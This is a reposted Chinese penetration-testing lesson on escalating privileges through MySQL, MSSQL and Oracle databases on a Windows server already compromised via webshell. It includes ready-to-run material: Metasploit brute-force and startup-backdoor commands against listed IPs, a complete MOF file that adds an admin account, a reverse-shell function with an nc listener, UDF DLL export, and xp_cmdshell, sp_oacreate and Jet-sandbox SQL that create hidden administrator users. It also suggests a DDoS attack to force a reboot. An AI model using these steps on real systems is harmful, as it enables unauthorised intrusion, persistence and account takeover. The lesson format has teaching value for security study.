60:權限提升-MY&MS&ORA等SQL數據庫提權


思維導圖

在利用系統溢出漏洞無果的情況下,可以采用數據庫進行提權,但需要知道數據庫提權的前提條件:服務器開啟數據庫服務以及獲取到最高權限用戶密碼。除Access數據庫外,其他數據庫基本上都存在數據庫提權的可能。

本課重點:

  • 數據庫應用提權在權限提升中的意義
  • WEB或本地環境如何探針數據庫應用
  • 數據庫提權權限用戶密碼收集等方法
  • 目前數據庫提權對應的技術及方法等

案例1:MySQL數據庫提權演示-腳本&MSF

環境准備:阿里雲服務器,windows2012操作系統,php+mysql環境搭建,已上傳后門並取得webshell權限

流程:服務探針-信息收集-提權利用-獲取權限

1、服務探針

連接webshell,對目標服務器進行端口掃描,發現開放了3306端口,說明服務器部署了MySQL數據庫。

2、信息收集

MySQL的最高權限的用戶名為root,嘗試獲取root的密碼。

方法1:讀取網站數據庫配置文件

這種方法的關鍵是了解其命名規則及查找技巧。可以重點查看帶有關鍵字的配置文件,常見的關鍵字有sql、data、inc、config、conn、database、common、include等。

舉例1:database.php

舉例2:config.inc.php

當然在實戰中,即使你找到了配置文件,系統也不一定用的是root用戶。

方法2:讀取數據庫存儲或備份文件

首先,我們了解一下MySQL數據庫存儲格式及對應內容。

@@basedir/data/數據庫名/表名.myd,表名.myd文件中的內容對應的就是表的內容

舉例1

舉例2

查詢用戶名密碼時,我們用到了如下SQL語句。

相應地,mysql.user對應的內容就存儲在MySQLr/data/mysql/user.myd文件中

打開user.myd文件,找到root用戶名密碼。

該密碼使用MD5散列加密,網上存在豐富的彩虹表破解。

方法3:利用腳本暴力猜解

獲取數據庫最高權限密碼,一般我們使用前兩種方法居多,如果前兩種方法實在用不了,我們才考慮使用暴力猜解。暴力猜解之前,需要先了解數據庫是否支持外聯以及如何開啟外聯。

  • 若數據庫支持外聯,可以遠程本地暴力猜解;
  • 若數據庫不支持外聯,可以服務器本地暴力猜解。

但是,其實root賬戶一般是不支持外聯的,所以沒法使用工具進行本地暴力猜解,但是我們可以將腳本通過webshell上傳到服務器,在服務器本地使用腳本暴力猜解。腳本可以從網上自行下載。

演示

<1>數據庫支持外聯,使用msf工具遠程本地暴力猜解。相關命令

msfconsole
search mysql
use auxiliary/scanner/mysql/mysql_login
show options
set rhost 47.99.71.28
set username root
set pass_file /opt/mysql_pwd.txt
show options
exploit 

<2>數據庫不支持外聯,使用腳本在服務器本地暴力猜解。

網上搜了一個PHP版Mysql爆破小腳本,成功爆破出密碼。

參考:http://www.zzvips.com/article/79791.html

3、提權利用

3.1 UPF提權

我們優先選擇使用UDF提權。

<1>獲取mysql版本,確定導出目錄。

mysql版本不同,UDF導出目錄也會有所不同。

  • 1.mysql<5.1 導出到c:/windows或system32目錄
  • 2.mysql>=5.1 導出到安裝目錄/lib/plugin(mysql初始安裝時,plugin目錄默認不存在)。

如下圖,執行select version();語句,獲取mysql版本為5.5.53。

如下圖,執行select @@basedir;語句,獲取mysql的安裝路徑。

可以直接進入安裝目錄/lib/下查看plugin是否存在(或者執行show variables like '%plugin%';語句查看)

如果plugin目錄不存在,需要手工創建plugin目錄或利用NTFS流創建。

<2>利用自定義執行函數導出dll文件進行命令執行

在工具上,點擊mysql提權進入配置頁面,輸入用戶名密碼,將可加載路徑改為plugin下,后面的mysqlDLL.dll不變,點擊安裝DLL。

這個工具總是安裝失敗。試了好幾次,都失敗了。

換個工具試試

首先root連接

這個工具有個好處就是會自動幫你把plugin目錄寫上去,所以我們直接點擊導出udf即可。如下圖,導出成功。

然后使用自帶命令創建cmdshell即可。如下圖所示,創建成功。(如果創建失敗的話,可以重啟環境試試。失敗原因猜測是集成在PHPstudy中的mysql問題)

接下來就可以 查看用戶、查看權限、查看端口等。

后續還可以添加賬戶名密碼,連接它的遠程端口來實現控制服務器的目的。常用命令如下

簡單來說,這個工具原理就是執行如下語句。

總結一下,UDF為User Defined Function用戶自定義函數,也就是支持用戶自定義函數的功能。這里的自定義函數要以dll形式寫成mysql的插件,提供給mysql來使用。也就是說我們可以通過編寫dll文件來實現我們需要的功能。利用UDF提權需要知道root賬戶的密碼,並且需要目標系統是Windows。可以使用現成的udf提權工具,也可以手工測試。

3.2 MOF提權(基於MySQL特性的安全問題)

導出自定義mof文件到系統目錄加載

mof提權的原理:

mof是windows系統的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管對象格式"其作用是每隔五秒就會去監控進程創建和死亡。其就是用又了mysql的root權限了以后,然后使用root權限去執行我們上傳的mof。隔了一定時間以后這個mof就會被執行,這個mof當中有一段是vbs腳本,這個vbs大多數的是cmd的添加管理員用戶的命令。

以下是mof提權的過程:

將mof上傳至任意可讀可寫目錄下,這里我傳到C:/phpStudy/PHPTutorial/WWW/目錄下,命名為user_add.mof。

然后使用sql語句將系統當中默認的nullevt.mof給替換掉。進而讓系統執行我們這個惡意的mof文件。

替換的sql語句:select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mof文件代碼如下所示:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};
View Code

可見其中是有一段添加用戶的腳本。賬號為admin 密碼為admin

經過測試,這個方式成功率不高。

參考:https://www.cnblogs.com/xishaonian/p/6384535.html

3.3 啟動項提權(基於配合操作系統自啟動)

導出自定義可執行文件到啟動目錄配合重啟執行

將創建好的后門或執行文件進行服務器啟動項寫入,配合重啟執行!

演示案例

<1>如果mysql數據庫沒有開啟外聯,當我們拿到數據庫最高權限后,可以執行SQL自行開啟外聯。

<2>使用msf提權,相關命令:

msfconsole
search mysql
use exploit/windows/mysql/mysql_start_UP
show options
set rhost 12.34.56.78
set username root
set password root
exploit

如下圖所示,后門上傳成功。

<3>由於上傳目錄為啟動目錄,當服務器重啟時,就會加載執行。那如何讓服務器重啟呢?一般就是DDS攻擊。之后還可以使用Cobalt Strike滲透測試神器 繼續。

3.4 反彈shell提權(基於利用反彈特性命令執行)

<1>首先,執行命令nc -l -p 5577監聽端口

<2>用上面那個工具,點擊 創建反彈函數,點擊 執行。

<3>輸入自定義SQL語句:select backshell('你的IP',5577),點擊 執行。

<4>反彈成功。

<5>可以執行命令試一下

案例2:Mssql數據庫提權演示-連接客戶端

環境准備:windows2008、SqlServer2008

流程:服務探針-信息收集-提權利用-獲取權限

1、使用xp_cmdshell進行提權

<1>通過查看服務器配置文件得到sa賬戶密碼為admin。

<2>由於mssql默認支持外聯,因為可以本地通過SqlServer2008客戶端使用sa賬戶密碼連接。Navicat也能連接,但是推薦用官方的。

<3>啟用xp_cmdshell。xp_cmdshell默認在mssql2000中是開啟的,在mssql2005之后的版本中則默認禁止。如果用戶擁有管理員sa權限則可以用sp_configure重新開啟它。

啟用:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; 
RECONFIGURE;

關閉;
exec sp_configure 'show advanced options',1 ;
reconfigure;
exec sp_configure 'xp_cmdshell',0; 
reconfigure;

<4>接下來,我們就可以執行任意命令了。

執行:
EXEC master.dbo.xp_cmdshell '命令';

<5>如果xp_cmdshell被刪除了,可以上傳xplog70.dll進行恢復

exex master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

xp_cmdshell在數據庫-系統數據庫-master-可編程性-擴展存儲過程-系統擴展存儲過程目錄下。

2、使用sp_oacreate進行提權

主要是用來調用OLE對象,利用OLE對象的run方法執行系統命令。

<1>啟用sp_oacreate

啟用:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures',1;
RECONFIGURE WITH OVERRIDE;

關閉:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures',0;
RECONFIGURE WITH OVERRIDE;

<2>執行命令

執行whoami查看權限:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\\1.txt'

添加用戶:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'

3、使用SqlServer沙盒提權

依次執行下列sql語句

--提權語句
exec sp_configure 'show advanced options',1;reconfigure;

-- 不開啟的話在執行xp_regwrite會提示讓我們開啟
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--關閉沙盒模式,如果一次執行全部代碼有問題,先執行上面兩句代碼。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查詢是否正常關閉,經過測試發現沙盒模式無論是開,還是關,都不會影響我們執行下面的語句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--執行系統命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode參數含義(默認是2)
`0`:在任何所有者中禁止啟用安全模式
`1`:為僅在允許范圍內
`2`:必須在access模式下
`3`:完全開啟
openrowset是可以通過OLE DB訪問SQL Server數據庫,OLE DB是應用程序鏈接到SQL Server的的驅動程序。

--恢復配置(暫不執行)
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
--exec sp_configure 'show advanced options',0;reconfigure;

成功創建用戶。

參考資料:https:blog.51cto.com/11797152/2411770

案例3:Oracle數據庫提權演示-自動化工具

1、普通用戶模式:

前提是擁有一個普通的Oracle連接賬號。不需要DBA權限,可提權至DBA,並以Oracle實例運行的權限執行操作系統命令。

2、DBA用戶模式:(自動化工具演示)

擁有DBA賬號密碼,可以省去自己手動創建存儲過程的繁瑣步驟,一鍵執行測試。

案例演示

<1>首先讀取配置文件,獲取到一個Oracle賬號密碼。

<2>工具連接。若賬號是普通賬號,選擇普通模式,若賬號是DBA賬號,選擇DBA模式。然后輸入數據庫相關信息,點擊連接。提示payload發送成功。

<3>提權成功,接下來可以任意執行命令了。

也可以點擊文件管理,操作文件。

還可以反彈shell。

<4>若沒有賬號密碼,但是有注入點,還可以用這個工具的注入模式,進行注入提權。

3、注入提升模式:(sqlmap測試演示)

擁有一個Oracle注入點,可以通過注入點直接執行系統命令,此種模式沒有實現回顯,需要自己驗證。

說明:對於JSP網站,當前獲取到它的網站權限后,不需要提權。因為它的網站權限就是系統權限,jsp自帶system。因為一般Oracle數據庫會和jsp搭配使用,所以當你擁有一個注入點時,你會發現,這個注入點本身就擁有system權限。

命令:sqlmap.py -u http://192.168.131.142:8080/sql.jsp?id-7698 --is-dba


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM